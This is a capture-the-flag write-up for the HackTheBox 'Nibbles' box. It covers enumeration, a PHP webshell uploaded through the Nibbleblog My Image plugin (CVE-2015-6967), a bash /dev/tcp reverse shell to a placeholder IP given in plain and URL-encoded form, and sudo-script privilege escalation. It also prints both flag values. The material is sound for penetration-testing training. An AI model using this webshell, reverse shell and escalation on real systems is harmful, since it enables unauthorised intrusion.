TL;DR

# 1. Enumerate
nmap -sV -sC -oN nmap/initial <attack_ip>

# 2. Check page source — HTML comment reveals /nibbleblog/
curl http://<attack_ip> | grep -i nibble

# 3. Gobuster
gobuster dir -u http://<attack_ip>/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

# 4. Confirm version from README
curl http://<attack_ip>/nibbleblog/README

# 5. Get admin username from users.xml
curl http://<attack_ip>/nibbleblog/content/private/users.xml

# 6. Login to admin panel — admin:nibbles
# 7. Plugins > My Image > upload shell.php

# Write webshell — SINGLE QUOTES required
echo '<?php echo system($_REQUEST["cmd"]); ?>' > shell.php

# 8. Trigger reverse shell via browser, catch with nc
nc -lvnp 4444

# 9. Privesc
sudo -l
echo '/bin/bash -i' >> /home/nibbler/personal/stuff/monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh

Given Info

Box description: Nibbles is an Easy Linux box running Nibbleblog v4.0.3, an outdated PHP CMS with a known authenticated file upload vulnerability. The path to root chains together an HTML comment disclosure, a guessable admin password, an unrestricted file upload, and a sudoers misconfiguration.

Recommended modules:

  • Web Enumeration
  • File Upload Attacks
  • Linux Privilege Escalation

Where I Got Stuck

  • Webshell broken by double quotes — wrote the PHP webshell using double quotes with echo. Bash stripped $_REQUEST before writing the file, producing broken PHP. Always use single quotes when echoing PHP via bash.
  • IP blacklisted on admin panel — too many failed login attempts triggered an IP blacklist in Nibbleblog. Had to wait it out before trying again. Don’t brute-force the login — try obvious passwords manually first.
  • Relative sudo path prompted for password — ran sudo monitor.sh without the full path. NOPASSWD in sudoers only matches the exact path specified. Always use the full path shown in sudo -l.
  • nano failed in reverse shell — no TTY in the netcat shell so interactive editors don’t work. Use echo >> to append to files instead.
  • Reverse shell via curl POST — tried several curl approaches before switching to URL-encoded GET via browser. Simpler is better.

Enumeration

Nmap

nmap -sV -oN nmap/initial <attack_ip>
nmap -sC -oN nmap/scripts <attack_ip>

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
80/tcp open  http    Apache httpd 2.4.18 (Ubuntu)

Small attack surface — two ports only. Web is the obvious target.

Port 80 — HTTP

Browsed to port 80 — bare “Hello world!” page. Nothing visible.

Check page source:

<!-- /nibbleblog/ directory. Nothing interesting here! -->

Developer left a comment pointing directly at the CMS path. Always view source on minimal pages.

Gobuster

gobuster dir -u http://<attack_ip>/nibbleblog/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt

Results:

/admin.php    (Status: 200)
/admin/       (Status: 301)
/content/     (Status: 301)
/README       (Status: 200)

README — version confirmation:

curl http://<attack_ip>/nibbleblog/README
Nibbleblog v4.0.3

Interesting finding: /nibbleblog/content/ had directory listing enabled.

curl http://<attack_ip>/nibbleblog/content/private/users.xml
<user username="admin">

Username confirmed: admin.

CVE spotted: Nibbleblog 4.0.3 + authenticated access = CVE-2015-6967, arbitrary file upload via the My Image plugin.


Attack Plan

Step 1 — Access the admin panel

Browsed to /nibbleblog/admin.php.

Don’t brute force this — Nibbleblog blacklists IPs after failed attempts. Try obvious passwords manually. Box name is always worth trying.

Tried admin:nibbles — logged in.


Step 2 — Upload webshell (CVE-2015-6967)

The My Image plugin accepts file uploads with zero server-side validation.

Write the webshell — single quotes are critical:

echo '<?php echo system($_REQUEST["cmd"]); ?>' > shell.php

Double quotes with echo causes bash to interpret $_REQUEST as a variable, stripping it before the file is written. The PHP file breaks silently. Single quotes prevent bash from touching the string.

Upload: Admin panel → Plugins → My Image → Browse → select shell.php → Save changes

Ignore the error messages — the file uploads regardless.

Confirm execution:

http://<attack_ip>/nibbleblog/content/private/plugins/my_image/image.php?cmd=whoami
nibbler

RCE confirmed.


Step 3 — Reverse shell

Start listener:

nc -lvnp 4444

Trigger via browser — URL-encode the payload:

Decoded payload:

/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

URL-encoded (paste this into the browser cmd parameter):

%2Fbin%2Fbash+-c+'bash+-i+>%26+%2Fdev%2Ftcp%2FYOUR_IP%2F4444+0>%261'

Shell caught as nibbler.


Post Exploitation / Privilege Escalation

Step 1 — Upgrade shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

Step 2 — Check sudo permissions

sudo -l
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

nibbler can run a shell script as root with no password. The script is in the user’s home directory — meaning we can write to it.

Step 3 — Unzip personal.zip

unzip /home/nibbler/personal.zip

This creates the personal/stuff/monitor.sh path that sudo expects.

Step 4 — Append bash to the script

echo '/bin/bash -i' >> /home/nibbler/personal/stuff/monitor.sh

>> appends, > overwrites. Use append here — don’t destroy the file.

Step 5 — Execute with full path

sudo /home/nibbler/personal/stuff/monitor.sh

Must use the exact full path from sudo -l. Running sudo monitor.sh prompts for a password — NOPASSWD only matches the literal path in sudoers.

whoami
# root

Flags

🚩 User Flag — click to reveal 502508994471c30f28077c000ff9a8b2
🚩 Root Flag — click to reveal c4765281c81c85ec90776db5986435c8

What I Learned

  • Single quotes in bash echo — when writing PHP via echo, always use single quotes. Double quotes cause bash to interpret variables like $_REQUEST before writing, silently breaking your webshell.
  • >> vs > — append vs overwrite. Use >> when adding to an existing file. Using > on monitor.sh would have wiped it.
  • sudo exact path matching — NOPASSWD only matches the literal path in sudoers. sudo monitor.sh and sudo /home/nibbler/personal/stuff/monitor.sh are treated completely differently.
  • No TTY = no interactive editors — netcat shells have no TTY. nano, vim, and other interactive tools fail. Use echo >> for file edits, python3 pty to upgrade the shell.
  • View source on every page — the CMS path was sitting in an HTML comment. A one-second source view gave the entire attack surface.
  • README files reveal versions — always check /README. Got the exact Nibbleblog version and confirmed the CVE in seconds.
  • Box name = password hintnibbles as the admin password. HTB box names frequently hint at credentials, not just vulnerabilities.